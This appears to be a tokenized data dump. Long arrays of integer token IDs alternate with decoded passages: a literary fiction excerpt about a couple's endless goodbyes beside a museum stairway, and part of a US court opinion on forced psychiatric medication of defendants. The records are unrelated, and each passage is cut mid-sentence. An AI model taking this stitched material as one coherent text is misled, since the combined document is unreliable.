14, 3181, 14, 664, 1849, 14, 26357, 14, 12311, 17034, 14, 922, 332, 13, 1900, 253, 1072, 13, 1900, 13, 5046, 13, 690, 4512, 5333, 390, 14000, 390, 747, 19652, 390, 19080, 10618, 13, 26614, 13, 2378, 969, 13, 12200, 253, 11032, 22298, 1106, 13, 762, 247, 1943, 8467, 15, 187, 187, 18978, 13, 2378, 969, 13, 12200, 253, 11032, 22298, 1106, 13, 762, 247, 1943, 8467, 13, 344, 285, 703, 4282, 849, 285, 2139, 597, 1849, 7402, 598, 627, 13, 846, 594, 1048, 1293, 6523, 1016, 643, 313, 2004, 1663, 352, 369, 760, 247, 1643, 2909, 3622, 326, 597, 753, 33969, 13, 969, 582, 285, 760, 594, 597, 476, 1333, 33969, 15, 187, 187, 49, 459, 27454, 13, 352, 434, 1896, 15, 187, 187, 1989, 323, 779, 285, 323, 617, 326, 2934, 273, 795, 32669, 27454, 64, 1900, 4455, 247, 20620, 275, 2426, 13, 247, 964, 964, 964, 752, 369, 253, 3159, 326, 1900, 17328, 779, 273, 253, 1416, 273, 247, 12358, 285, 617, 273, 247, 7520, 5893, 1160, 598, 273, 253, 4243, 273, 643, 5074, 32, 187, 187, 13924, 13, 4754, 27, 3475, 1105, 263, 251, 15, 187, 187, 8457, 627, 403, 1643, 1841, 1679, 795, 32669, 64, 1905, 395, 16907, 594, 32957, 2744, 342, 8921, 6353, 285, 5639, 20689, 5005, 1128, 14644, 247, 27454, 15, 2434, 1763, 39725, 403, 1900, 25493, 407, 253, 4682, 4742, 2934, 273, 247, 3632, 1255, 326, 3548, 626, 3632, 15, 1244, 10891, 39725, 1128, 71, 932, 6787, 273, 253, 15143, 1128, 609, 2717, 625, 685, 4864, 285, 16761, 285, 1881, 14, 31031, 285, 18319, 14, 29965, 91, 494, 9508, 273, 6612, 15, 496, 2254, 264, 4243, 15, 6975, 12031, 735, 273, 14459, 12691, 275, 1327, 33223, 15, 1292, 642, 15, 3189, 5314, 13407, 12834, 281, 320, 17527, 1078, 597, 2489, 4755, 285, 20996, 281, 4130, 12203, 323, 8115, 285, 3499, 5829, 11192, 285, 17066, 265, 285, 7846, 36083, 19840, 15, 1292, 1900, 407, 253, 3564, 273, 1529, 13, 3095, 665, 21427, 1727, 352, 285, 665, 310, 13, 1293, 247, 5545, 13, 1805, 387, 26766, 731, 949, 247, 2419, 342, 9956, 326, 403, 1900, 3644, 15, 1893, 13, 1046, 594, 2223, 13, 581, 273, 731, 13, 581, 273, 1110, 10891, 39725, 13, 44716, 285, 556, 281, 320, 40754, 13, 751, 271, 13188, 342, 247, 1892, 13, 3496, 1487, 1154, 1113, 522, 584, 13, 1919, 352, 434, 944, 25466, 285, 11044, 9357, 562, 285, 385, 20792, 456, 13, 594, 352, 2506, 626, 18302, 327, 436, 1930, 273, 1841, 15, 1244, 594, 313, 24765, 405, 641, 273, 326, 3290, 326, 7819, 731, 715 ]	there, again the photo where a recently murdered boy points, smiling at the person who took the photo and will be his killer), Tom struggles to his feet and walks slowly, feeling his way along that hallway's walls with the tips of his fingers, until he reaches the absolute and definitive center of his universe, now and for millions of years. And—not caring that his son is already asleep and that it hurts him to think that Fin is getting closer and closer to that age when he might begin to enjoy disliking it when they hug him—he enters the bedroom, decorated with posters of androids and planets that radiate a shy green glow in the darkness. And under that artificial glow—artificial and yet, still, ready to transmit something infinite and unfathomable—Tom looks at his son. And what he looks at, what he sees, is his life with him, their whole life together, for the rest of his life. And Tom turns on the light. And wakes Fin up and hugs him. Squeezes him. He won't let him go. He won't let go. Ever. Sitting on the edge of the little bed, he holds his son to keep from falling. MEANWHILE, ONCE AGAIN, BESIDE THE MUSEUM STAIRWAY, UNDER A BIG SKY "What time is it?" he and she say, at the same time, at the same hour, meanwhile, once again, beside the Museum stairway, under a big sky. And they laugh. And neither of them focuses their eyes on their watch to read aloud what it says. No need. What time is it? It is, precisely, the time to say: "What time is it?" So, they don't fix the spheres of their eyes on the spheres of their watches, but all the same, it's as if needles were fixing the one to the other. They are, yes, fastened with pins. Like something never sewn up all the way and put off until later because, at the same time, there is still time, all the time in the world. And he and she comprehend that once again it's time to part ways, that after the time of wondering "what time is it?" comes the romantic time, unmarked by numerals Roman or digital, of saying goodbye. The time of ending so that everything can begin again. Parting in order to to come back together. Soon, right away, again, and feeling almost, not old, but yes like those old people who just repeat situations and words to keep from getting lost in the brevity of their future and the immensity of their past. The unold equivalent of the un-dead. Zombies of what they once were—alive but barely—floating in the repetitious wind of perpetual rewinds. "Goodbye," he says. "Goodbye," she says. Both of them taking care not to say "goodbye" at the same time again, afraid not of what they might say to each other, but of what the one who watches them might say, the one who has gotten angry at them numerous times, finding them literally incorrigible. So, the one "goodbye" sounds almost like a ventriloquist echo of the other "goodbye." A "goodbyebye." And as the years pass (some of them are years lived together, before being captured forever in the circular infinity of this instant; but the memory of those years is more diffuse all the time, not like something that they lived but like something they told, something they tell and retell again) their voices come to resemble each other a great deal, too much. Their voices are the masculine and feminine models of a single voice that—in its moment, far from the Museum stairway and inside a small, increasingly suffocating flat—learned a perfect mastery of the art of the goodbye and the stage exit, sometimes with shouting, sometimes with a door slamming like a slap. There was a time when, yes, they were the ones who decided and improvised how they said goodbye and how they got back together, amid tears and laughter, masters of a story that might have been poorly written but, at least, they were the ones writing it. Now, not so much, not anymore. Now, the goodbye is final and refined and elegant. A carefully considered and calculated and far better written goodbye; but a goodbye written by someone else. Written by someone who is never entirely pleased with the result and, so, starting over, saying "hello" again to say "goodbye" again. Though now the one who writes and edits them seems to be concentrating not on the twist of the reunion, but, solely, on the pogo-stick of the goodbye. And at first, that's pretty much it. Two people—not entirely characters yet, but no longer the people they used to be—saying goodbye forever and for the last time, over and over. A man and a woman who know—or sense—that the last goodbye is as powerful and emotionally charged a thing as the first "hello" that they scarcely hear in their mouths anymore and barely remember. An unforgettable instant set to become an eternity. To become a goodbye that'll continue echoing, obedient but bouncing off at unanticipated angles whenever it's evoked under the unpredictable acoustics of memory's irregular cupola. It'll always be the same, but successive visions will convince the credulous of the transcendental nature of minimal variations and hidden meanings that may not be there, that never were; but the two of them always felt they were so modern and, in the end, misunderstandings like this are what modern art and its performances where almost nothing happens are built on. With time, one of them will be the first to die, and the other only later. They know their "author"—X—all too well. And they've read all of X and all about X, so they know better than to think he'll fall into the awkward trap of one ending for both of them, together, falling from on high or getting swept away by a giant wave or being left stranded on an island of repetitions or whatever. They'll die, maybe, beside the Museum stairway and under a big sky. First one and then the other, as if parodying the death in two movements of Romeo and Juliet. They'll die not poisoned or stabbed, but bored of the toxic purity of their exhaustion. Their exhaustion or the exhaustion of the one who watches them. If they're lucky. If someday they're allowed to escape from this moment and its multiple and subtle variations. And then, when that time finally comes, all of it will be lost forever, like so many other things that have been lost, without ever receiving the false piety of the consolation prize of the ruins. Unless X, he who is above everything and everyone, gives them the surprise of freeing them from this moment and yanks them out of this kind of microstory without dénouement or any sort of surprise ending. And sends them on their way. And follows them. And turns them into a story. Or a novel. But neither he nor she is really sure—like at other times, like at the beginning—that they want something like that to happen. Really, the only thing they want is, please, let this be the last time they say goodbye and not number I've-already-lost-count-of-how-many-times-we've-said-goodbye-forever, always the same, always, maybe, some slight shift or adjustment or new flaw or clever correction, meanwhile, once again, beside the Museum stairway, under a big sky. Meanwhile, once again, beside the Museum stairway, under a big sky, he and she wonder how and why they've ended up there, after so long without seeing each other (though really it was only a few minutes ago that they said goodbye, again), and only so they can say goodbye. Pure coincidence, it's possible. But for him and for her that idea of _pure coincidence_ always seemed a contradiction in terms, a... what was the word that always reminded him of the name of a medication and her of a rare animal made up of the parts of other animals? Ah, yes: oxymoron. Because there are few things less _pure_ —and seemingly so embroidered with strange particles and foreign corpuscles—than a coincidence. Coincidences are always contaminated by the murky idea of a randomness that isn't random. And coincidences—falsifications of the fantastic—are nothing more than brief and concentrated and self-sufficient and instantly-analyzable versions of reality. Invented parts. Like slivers of fiction embedded in nonfiction. But no. Merely systemic defects to be eliminated before they become obvious and fascinating to everyone searching for maps and horoscopes and compasses and astrological charts. But always by the hands of another, someone who transcends it and who is, without a doubt, better at guiding them through a house with rooms that are always dark. So, every so often, one of them, one of those coincidences, escapes and has to be chased, like an insect with a hard, iridescent carapace, until it's cornered and stomped out and exterminated, so it doesn't reproduce on this side of things. And so (possessors of that quality that turns them into
[ 3382, 8310, 407, 3739, 12440, 15, 187, 2618, 15, 387, 28804, 13, 9199, 322, 15, 5229, 15, 387, 884, 2945, 187, 688, 2380, 281, 5041, 362, 15, 22663, 13, 253, 8293, 4487, 13, 15904, 273, 2604, 10047, 13, 4232, 271, 10656, 5199, 323, 18723, 35393, 19830, 1971, 285, 12358, 15, 3349, 330, 6764, 3015, 45910, 15, 3079, 313, 13895, 481, 831, 7248, 2530, 323, 4366, 13, 271, 10656, 4854, 13, 39791, 407, 247, 39738, 417, 3206, 275, 12767, 253, 34079, 285, 253, 987, 281, 452, 247, 4750, 8612, 273, 253, 34079, 15, 4031, 15, 187, 688, 9748, 13, 253, 6413, 2111, 2918, 326, 247, 20566, 3257, 574, 253, 987, 281, 16410, 281, 4035, 3192, 3270, 14, 20980, 3875, 12358, 1309, 521, 2332, 13, 5734, 253, 2418, 812, 921, 326, 253, 1971, 369, 44597, 3309, 13, 627, 497, 642, 1679, 4996, 15240, 18075, 13, 285, 253, 1971, 369, 3309, 281, 3657, 253, 3257, 432, 5237, 272, 2994, 390, 2571, 15, 416, 20878, 968, 362, 15, 23050, 13, 34312, 530, 15, 52, 15, 15610, 13, 13620, 13, 11633, 322, 15, 5229, 15, 1283, 740, 13, 12643, 418, 15, 3996, 15, 19, 69, 41372, 313, 13895, 481, 8293, 16598, 13, 275, 247, 24585, 40226, 4743, 13, 5125, 352, 651, 320, 1077, 7520, 326, 3270, 14, 20980, 3875, 5835, 812, 320, 1901, 2084, 3441, 11966, 12718, 323, 253, 4096, 273, 6941, 247, 3257, 281, 320, 20566, 281, 1462, 2332, 15, 4031, 15, 387, 15410, 14, 1867, 13, 11633, 322, 15, 5229, 15, 387, 1283, 1166, 15, 4683, 1798, 4468, 275, 416, 20878, 968, 497, 2442, 1930, 2538, 273, 253, 2854, 326, 651, 29614, 253, 28959, 273, 253, 2332, 13, 3782, 849, 253, 3257, 5420, 281, 253, 4984, 15, 187, 510, 6413, 2111, 434, 954, 3332, 39640, 420, 327, 436, 2256, 2210, 1309, 253, 4437, 6752, 13302, 275, 253, 1083, 273, 322, 437, 362, 15, 1986, 2077, 13, 45610, 530, 15, 52, 15, 23541, 13, 15567, 322, 15, 5229, 15, 374, 18804, 13, 21807, 418, 15, 3996, 15, 19, 69, 25336, 313, 9755, 481, 322, 437, 3206, 247, 3438, 40069, 342, 247, 24585, 285, 1077, 26504, 6255, 1786, 2892, 13, 1690, 40083, 6255, 1786, 4675, 5904, 285, 3270, 14, 20980, 3875, 12358, 15, 496, 253, 2282, 273, 37631, 10061, 8664, 4400, 6424, 7260, 13, 322, 437, 2546, 253, 1302, 323, 247, 7441, 273, 521, 30281, 281, 1462, 2332, 15, 380, 26462, 5963, 275, 253, 1083, 3413, 322, 437, 281, 320, 43650, 281, 1462, 2332, 285, 6960, 322, 437, 32943, 387, 253, 7671, 8710, 5197, 275, 42669, 16301, 323, 8368, 285, 20384, 273, 30281, 15, 4031, 15, 387, 18672, 14, 3677, 13, 15567, 322, 15, 5229, 15, 387, 374, 17864, 15, 2058, 401, 7722, 14, 22600, 3423, 13, 253, 3739, 4750, 8521, 326, 322, 437, 1379, 3270, 14, 20980, 3875, 12358, 13, 533, 344, 9284, 15, 4031, 15, 743, 10656, 4854, 369, 2918, 285, 35393, 5286, 273, 253, 3270, 14, 20980, 3875, 12358, 369, 14047, 984, 322, 437, 369, 346, 420, 595, 2853, 285, 8312, 13, 285, 12358, 310, 3309, 281, 1555, 253, 6255, 9749, 3, 285, 594, 326, 322, 437, 812, 320, 16789, 281, 43346, 15, 4031, 15, 387, 24549, 14, 3547, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 15, 3900, 322, 437, 369, 3413, 281, 320, 8312, 275, 247, 3114, 4758, 13, 352, 369, 14969, 326, 322, 437, 1159, 264, 275, 271, 1527, 5754, 3072, 1293, 1895, 15, 4031, 15, 743, 10656, 4549, 16337, 326, 26239, 15, 187, 52, 437, 4724, 247, 3200, 275, 521, 6424, 1083, 7004, 253, 1302, 281, 3585, 3136, 253, 26239, 281, 1901, 2084, 3441, 25596, 3270, 14, 20980, 3875, 12358, 15, 329, 4854, 369, 2918, 13, 534, 2908, 6206, 670, 322, 437, 434, 19582, 3879, 275, 7746, 247, 15339, 344, 7636, 617, 15, 4031, 15, 387, 24347, 14, 3655, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 15, 2896, 253, 673, 273, 436, 4854, 322, 437, 369, 275, 247, 12623, 894, 13, 50049, 432, 253, 1527, 5754, 3072, 15, 4031, 15, 387, 24687, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 15, 380, 26462, 5963, 6960, 326, 322, 437, 320, 1901, 2084, 3441, 4912, 456, 13, 1097, 984, 273, 8312, 1255, 285, 281, 15042, 6255, 30281, 15, 4031, 15, 387, 24687, 13, 15567, 322, 15, 5229, 15, 387, 374, 11395, 14, 3593, 15, 187, 52, 437, 4724, 271, 4549, 432, 436, 10362, 281, 253, 3286, 5963, 15, 3105, 272, 326, 322, 437, 574, 644, 4895, 281, 271, 1527, 18588, 13, 253, 3286, 5963, 1119, 253, 7441, 273, 8312, 1255, 281, 320, 4518, 21210, 15, 380, 5963, 30620, 253, 35393, 12358, 1340, 323, 6378, 273, 18164, 3257, 20566, 281, 1462, 2332, 15, 4031, 15, 387, 24687, 14, 3566, 13, 15567, 322, 15, 5229, 15, 387, 374, 20895, 15, 380, 3286, 5963, 12969, 475, 7749, 21, 326, 352, 369, 20346, 281, 3653, 1880, 41572, 3270, 14, 20980, 3875, 12358, 281, 322, 437, 651, 31611, 2818, 253, 28959, 273, 253, 2332, 15, 187, 34, 4272, 5370, 273, 253, 16244, 6817, 2111, 273, 9892, 16337, 253, 10362, 273, 253, 3286, 1302, 15, 35145, 401, 15, 20, 69, 37378, 313, 25, 394, 4082, 15, 10016, 481, 380, 2111, 273, 9892, 30620, 253, 4560, 326, 322, 437, 369, 417, 8312, 281, 1881, 390, 2571, 13, 285, 3413, 326, 253, 7260, 497, 4092, 2217, 281, 1329, 253, 2208, 434, 1600, 275, 9745, 322, 437, 281, 2332, 15, 187, 510, 6413, 2111, 7169, 5306, 43738, 281, 3653, 1880, 322, 437, 812, 320, 25979, 273, 521, 17843, 1600, 275, 21455, 12358, 12718, 323, 6378, 273, 18164, 779, 20566, 281, 1462, 2332, 323, 1327, 43115, 19626, 15, 23359, 281, 22663, 285, 416, 20878, 968, 13, 253, 2111, 2918, 326, 247, 3257, 10268, 4092, 6424, 7260, 778, 320, 1901, 2084, 3441, 4912, 456, 281, 15042, 6255, 30281, 13, 604, 253, 1971, 310, 44597, 4569, 13, 588, 417, 29614, 253, 28959, 273, 253, 2332, 285, 1679, 4996, 15240, 18075, 403, 417, 2130, 15, 4031, 15, 387, 24062, 13, 15567, 322, 15, 5229, 15, 387, 374, 19105, 15, 187, 43743, 378, 5292, 254, 13, 7392, 272, 8293, 16598, 434, 40226, 4743, 275, 416, 20878, 968, 13, 21947, 326, 10872, 816, 5411, 35393, 12358, 12718, 281, 15042, 6255, 30281, 588, 320, 7520, 15, 4031, 15, 387, 12660, 13, 15567, 322, 15, 5229, 15, 387, 374, 19105, 15, 13658, 13, 253, 26157, 3054, 27, 187, 34, 1302, 878, 417, 1908, 1880, 281, 1581, 6726, 12358, 313, 936, 15042, 6255, 30281, 582, 604, 6726, 12358, 310, 26085, 323, 247, 1027, 4096, 13, 824, 347, 253, 6378, 873, 562, 275, 22663, 2905, 281, 253, 2060, 434, 8312, 1255, 13, 390, 6378, 2905, 281, 253, 4292, 1211, 1600, 835, 19963, 281, 1379, 5835, 12516, 521, 1786, 7462, 600, 387, 2495, 15, 313, 41766, 11035, 481, 1707, 403, 2223, 2266, 4606, 323, 247, 1302, 281, 3653, 1880, 6726, 5286, 273, 5835, 476, 320, 17285, 327, 841, 5795, 9905, 1078, 8577, 281, 253, 2332, 30281, 1953, 15, 187, 9, 18532, 275, 3236, 582, 4031, 15, 387, 26240, 14, 3507, 13, 15567, 322, 15, 5229, 15, 387, 374, 17786, 15, 380, 2111, 4879, 326, 3374, 2905, 281, 8312, 1255, 285, 3739, 15504, 273, 253, 12358, 403, 625, 8103, 285, 4569, 323, 3739, 12440, 281, 12106, 685, 253, 4320, 8794, 1972, 273, 30281, 281, 8419, 2332, 15, 13036, 1783, 273, 1110, 3374, 10316, 247, 17614, 468, 2770, 281, 253, 30281, 2523, 13, 943, 352, 2489, 3309, 15, 4031, 15, 387, 25985, 14, 3245, 13, 15567, 322, 15, 5229, 15, 387, 374, 17786, 14, 2691, 15, 3813, 13, 253, 6413, 2111, 9618, 84, 7829, 281, 3653, 2139, 6726, 5286, 273, 5835, 369, 417, 7799, 327, 22663, 9905, 13, 1078, 7296, 253, 2523, 12718, 275, 253, 3634, 273, 33269, 6255, 30281, 15, 4031, 15, 3667, 12436, 1598, 13, 436, 49273, 494, 26777, 407, 253, 2111, 281, 1908, 22663, 6866, 806, 556, 644, 24181, 12841, 407, 253, 15904, 273, 2604, 10047, 1580, 253, 322, 437, 3061, 369, 6808, 15, 187, 34, 21686, 6328, 1830, 187, 510, 5441, 273, 436, 1083, 17093, 247, 7936, 19652, 275, 253, 10885, 273, 35393, 12358, 3374, 407, 253, 7671, 15904, 273, 2604, 10047, 313, 35, 2795, 481, 378, 2795, 588, 417, 10369, 1908, 22663, 6866, 347, 247, 3720, 323, 1901, 2084, 3441, 4912, 839, 247, 3110, 13, 533, 588, 3185, 10725, 14288, 327, 253, 12107, 33265, 273, 247, 1302, 1340, 6808, 9433, 322, 437, 6866, 15, 831, 310, 247, 19999, 557, 10613, 281, 253, 7829, 13, 253, 4750, 285, 1363, 387, 4400, 3739, 9189, 13, 285, 253, 3110, 14, 48631, 15, 831, 673, 14, 33136, 13, 8312, 285, 44597, 19582, 3946, 3198, 281, 1705, 281, 271, 990, 15, 187, 3039, 247, 3110, 29939, 4369, 32801, 12358, 387, 247, 7671, 8710, 5197, 13, 253, 10656, 4854, 1232, 346, 9846, 3, 320, 38417, 15, 3349, 330, 6764, 3015, 45910, 15, 3079, 9, 66, 481, 2058, 326, 4854, 13, 253, 3110, 588, 452, 247, 4750, 8612, 665, 476, 10073, 275, 20501, 12170, 13, 285, 13, 40452, 13, 32039, 342, 475, 7749, 22, 253, 3110, 8664, 17610, 5286, 273, 271, 3270, 14, 20980, 3875, 2854, 15, 187, 510, 39738, 16472, 253, 4854, 3091, 3653, 1880, 1971, 390, 4369, 32801, 12358, 310, 3309, 275, 1340, 281, 3177, 281, 1056, 253, 34079, 20566, 323, 2332, 390, 310, 3309, 984, 253, 34079, 310, 8312, 281, 1881, 390, 2571, 13, 310, 7462, 600, 13603, 13, 390, 310, 7591, 281, 1159, 275, 253, 1527, 3072, 273, 6255, 1786, 28149, 4055, 390, 247, 3963, 5754, 15, 380, 39738, 3091, 10347, 247, 3542, 1304, 5001, 253, 3061, 15, 187, 9, 18532, 2879, 481, 3349, 330, 6764, 3015, 45910, 15, 3079, 9, 66, 2769, 23, 481, 187, 688, 436, 1083, 13, 846, 8167, 9284, 12358, 13, 642, 10656, 4854, 369, 2918, 15, 3900, 247, 2716, 14, 32928, 22663, 1783, 369, 873, 6593, 275, 253, 7995, 29344, 27605, 313, 81, 15, 818, 582, 326, 7103, 24874, 247, 11096, 3126, 15, 831, 310, 10214, 281, 253, 6843, 13, 8103, 2629, 873, 6593, 275, 3349, 330, 6764, 3015, 45910, 15, 3079, 9, 66, 2769, 23, 481, 187, 510, 7295, 275, 436, 1083, 858, 417, 2118, 253, 2111, 323, 271, 1340, 281, 1901, 2084, 3441, 4912, 366, 8167, 15, 13771, 13, 253, 2748, 2210, 275, 247, 4857, 281, 253, 2111, 432, 253, 411, 6702, 273, 401, 7722, 14, 1989, 1216, 15, 831, 310, 253, 1846, 3946, 273, 378, 2795, 15, 1986, 2077, 362, 15, 4033, 43774, 14, 22097, 373, 13, 6157, 18972, 22769, 2511, 1047, 13, 475, 18, 295, 15, 337, 313, 56, 15, 37, 15, 10685, 15, 9430, 558, 1986, 2077, 362, 15, 611, 276, 5292, 13, 32193, 401, 15, 4727, 15, 19, 69, 42178, 13, 608, 3507, 14, 3245, 313, 52, 15, 37, 15, 56, 15, 31775, 15, 6469, 481, 733, 310, 19582, 323, 378, 2795, 281, 3653, 1880, 390, 417, 15303, 451, 6284, 403, 594, 1534, 326, 247, 12358, 1340, 6808, 10376, 281, 322, 437, 943, 320, 23321, 15, 187, 1552, 2111, 2427, 1066, 436, 1854, 342, 378, 2795, 2761, 4745, 846, 253, 322, 437, 3061, 275, 1083, 1621, 15, 6246, 17272, 14, 35461, 14, 45335, 1311, 2648, 9, 41836, 582, 275, 253, 4412, 273, 13169, 15, 496, 326, 1083, 13, 253, 3257, 369, 2197, 281, 401, 7722, 14, 22600, 3423, 281, 15042, 6255, 30281, 15, 754, 9284, 281, 1379, 521, 12358, 15, 380, 6834, 323, 401, 7722, 14, 22600, 3423, 2197, 253, 2111, 247, 4857, 7004, 253, 2111, 281, 2589, 247, 322, 437, 4854, 15, 496, 253, 4857, 13, 253, 6834, 15140, 253, 2111, 347, 3637, 27, 187, 20108, 281, 253, 322, 437, 3061, 13, 253, 15904, 273, 2604, 10047, 12845, 253, 10067, 273, 3349, 330, 6764, 3512, 45910, 13, 4974, 2003, 330, 13, 281, 4017, 247, 37631, 34079, 434, 17843, 1600, 275, 17816, 253, 35393, 5286, 273, 3270, 14, 20980, 3875, 12358, 15, 380, 4214, 19330, 323, 253, 15904, 273, 2604, 10047, 556, 1121, 967, 326, 253, 322, 437, 3061, 556, 13697, 27093, 667, 3061, 407, 15904, 273, 2604, 10047, 24414, 48221, 281, 1901, 2084, 3441, 25596, 3270, 14, 20980, 3875, 12358, 281, 247, 37631, 34079, 1293, 2173, 12379, 9612, 762, 253, 2515, 23378, 275, 253, 322, 437, 3061, 15, 187, 2618, 904, 9700, 13, 4162, 3307, 13, 6157, 13, 313, 37, 5751, 5329, 582, 7266, 15, 374, 14, 20, 15, 380, 3257, 369, 2918, 275, 5569, 3487, 3708, 323, 512, 533, 767, 1897, 273 ]	clinical observation by medical professionals. Id. at 231, 110 S.Ct. at 1042 In response to Washington v. Harper, the Justice Department, Bureau of Prisons, established an administrative procedure for delivering involuntary psychiatric treatment and medication. 28 CFR § 549.43 (1992). This regulation provided for notice, an administrative hearing, adjudication by a psychiatrist not involved in treating the inmate and the right to have a staff representative of the inmate. Id. In 1992, the Supreme Court held that a competent defendant had the right to refuse to continue taking anti-psychotic medication during his trial, unless the State could show that the treatment was medically necessary, there were no less intrusive alternatives, and the treatment was necessary to prevent the defendant from harming himself or others. Riggins v. Nevada, 504 U.S. 127, 135, 112 S.Ct. 1810, 118 L.Ed.2d 479 (1992). Justice Kennedy, in a lengthy concurring opinion, suggested it would be very rare that anti-psychotic drugs could be involuntarily administered solely for the purpose of allowing a defendant to be competent to stand trial. Id. at 138-39, 112 S.Ct. at 1817. Of particular concern in Riggins were potential side effects of the drug that would undermine the fairness of the trial, particularly how the defendant appeared to the jury. The Supreme Court's most recent pronouncement on this subject came during the October 2002 Term in the case of Sell v. United States, 539 U.S. 166, 123 S.Ct. 2174, 156 L.Ed.2d 197 (2003). Sell involved a former dentist with a lengthy and very troubled mental health history, including inpatient mental health hospitalizations and anti-psychotic medication. In the course of pretrial proceedings concerning federal criminal charges, Sell asked the court for a determination of his competence to stand trial. The magistrate judge in the case determined Sell to be incompetent to stand trial and ordered Sell hospitalized at the Federal Medical Center in Springfield Missouri for examination and restoration of competence. Id. at 170-71, 123 S.Ct. at 2179. At FMC-Springfield, the medical staff recommended that Sell take anti-psychotic medication, but he refused. Id. An administrative hearing was held and involuntary administration of the anti-psychotic medication was authorized because Sell was "mentally ill and dangerous, and medication is necessary to treat the mental illness" and so that Sell could be restored to competency. Id. at 171-72, 123 S.Ct. at 2180. While Sell was determined to be dangerous in a community setting, it was acknowledged that Sell functioned in an open prison population without problem. Id. An administrative appeal affirmed that authorization. Sell filed a motion in his criminal case asking the court to revoke the authorization to involuntarily administer anti-psychotic medication. A hearing was held, which included testimony about Sell's inappropriate behavior in telling a nurse he loved her. Id. at 172-73, 123 S.Ct. at 2180. By the time of this hearing Sell was in a locked cell, segregated from the open prison population. Id. at 173, 123 S.Ct. at 2180. The magistrate judge ordered that Sell be involuntarily medicated, both because of dangerousness and to restore mental competence. Id. at 173, 123 S.Ct. at 2180-81. Sell filed an appeal from this ruling to the district judge. Noting that Sell had been returned to an open ward, the district judge found the determination of dangerousness to be clearly erroneous. The judge upheld the involuntary medication order for purposes of rendering defendant competent to stand trial. Id. at 173-74, 123 S.Ct. at 2181. The district judge ruled 1104 that it was premature to determine whether administering anti-psychotic medication to Sell would adversely affect the fairness of the trial. A divided panel of the Eight Circuit Court of Appeals affirmed the ruling of the district court. 282 F.3d 560 (8th Cir.2002). The Court of Appeals upheld the finding that Sell was not dangerous to self or others, and determined that the charges were serious enough to support the government's interest in bringing Sell to trial. The Supreme Court granted certiorari to determine whether Sell could be deprived of his liberty interest in refusing medication solely for purposes of rendering him competent to stand trial for nonviolent offenses. Looking to Harper and Riggins, the Court held that a defendant facing serious criminal charges may be involuntarily medicated to restore mental competence, if the treatment is medically appropriate, will not undermine the fairness of the trial and less intrusive alternatives are not available. Id. at 179, 123 S.Ct. at 2184. Justice Breyer, echoing Justice Kennedy's concurring opinion in Riggins, emphasized that instances justifying involuntary medication solely to restore mental competence will be rare. Id. at 180, 123 S.Ct. at 2184. Specifically, the Opinion states: A court need not consider whether to allow forced medication (to restore mental competence), if forced medication is warranted for a different purpose, such as the purposes set out in Harper related to the individual's dangerousness, or purposes related to the individuals own interest where refusal to take drugs puts his health gravely at risk. (cite omitted). There are often strong reasons for a court to determine whether forced administration of drugs can be justified on these alternative grounds before turning to the trial competence question. (emphasis in original), Id. at 181-82, 123 S.Ct. at 2185. The Court noted that issues related to dangerousness and medical necessity of the medication are more objective and appropriate for medical professionals to analyze than the legal nuances of competence to Stand trial. Prior analysis of those issues brings a sharper focus to the competence issue, should it become necessary. Id. at 182-83, 123 S.Ct. at 2185-86. Therefore, the Supreme Court instructs courts to determine why forced administration of drugs was not sought on Harper grounds, before considering the issue solely in the context of restoring mental competence. Id. Regrettably, this unmistakable directive by the Court to consider Harper criteria first has been systematically ignored by the Bureau of Prisons since the Sell decision was issued. ANALYSIS The facts of this case illustrate a fundamental flaw in the handling of involuntary medication issues by the Federal Bureau of Prisons (BOP). BOP will not seriously consider Harper criteria as a basis for involuntarily medicating a patient, but will instead rely exclusively on the protective umbrella of a court order issued applying Sell criteria. This is a tremendous disservice to the courts, the staff and patients at federal medical facilities, and the patient-defendants. This time-consuming, dangerous and medically inappropriate practice needs to come to an end. When a patient refuses psychotropic medication at a Federal Medical Center, the administrative hearing process "will" be instituted. 28 CFR § 549.43(a). At that hearing, the patient will have a staff representative who can assist in questioning witnesses, and, logically, confer with 1105 the patient concerning voluntary administration of an anti-psychotic drug. The psychiatrist conducting the hearing shall determine whether treatment or psychotropic medication is necessary in order to attempt to make the inmate competent for trial or is necessary because the inmate is dangerous to self or others, is gravely disabled, or is unable to function in the open population of mental health referral center or a regular prison. The psychiatrist shall prepare a written report regarding the decision. (emphasis added). 28 CFR § 549.43(a)(6). In this case, after Defendant refused medication, no administrative hearing was held. While a half-hearted Harper analysis was set forth in the Forensic Evaluation (p. 7), that evaluation presumed a restricted environment. This is contrary to the explicit, objective standard set forth in 28 CFR § 549.43(a)(6). The Government in this case did not move the Court for an order to involuntarily medicate Defendant. Rather, the request came in a letter to the Court from the Warden of FMC-Butner. This is the common practice of BOP. United States v. Barajas-Torres, 2004 WL 1598914, *1 n. 1 (W.D.Tex.2004); United States v. Kourey, 276 F.Supp.2d 580, 582-83 (S.D.W.Va. 2003). It is inappropriate for BOP to determine whether or not prosecutorial interests are so significant that a medication order issued pursuant to Sell should be pursued. This Court went down this path with BOP almost immediately after the Sell decision in case No. CR 03-959-TUCRCC(CRP), in the District of Arizona. In that case, the defendant was sent to FMC-Springfield to restore mental competence. He refused to take his medication. The attorney for FMC-Springfield sent the Court a letter asking the Court to conduct a Sell hearing. In the letter, the attorney advised the Court as follows: Prior to the Sell decision, the Bureau of Prisons utilized the provisions of 28 CFR Part 549, Subpart C, to protect a pretrial inmate's liberty interest in avoiding the involuntary administration of anti-psychotic medication. The General Counsel for the Bureau of Prisons has opined that the Sell decision has rendered unconstitutional any decision by Bureau of Prisons psychiatrists to involuntarily administer anti-psychotic medication to a pretrial inmate without specific judicial approval under the conditions referenced in the Sell decision. Id., Order, April 22, 2004, (Dkt 45), pp. 2-3. The defendant was held in lockdown status for all but two days of
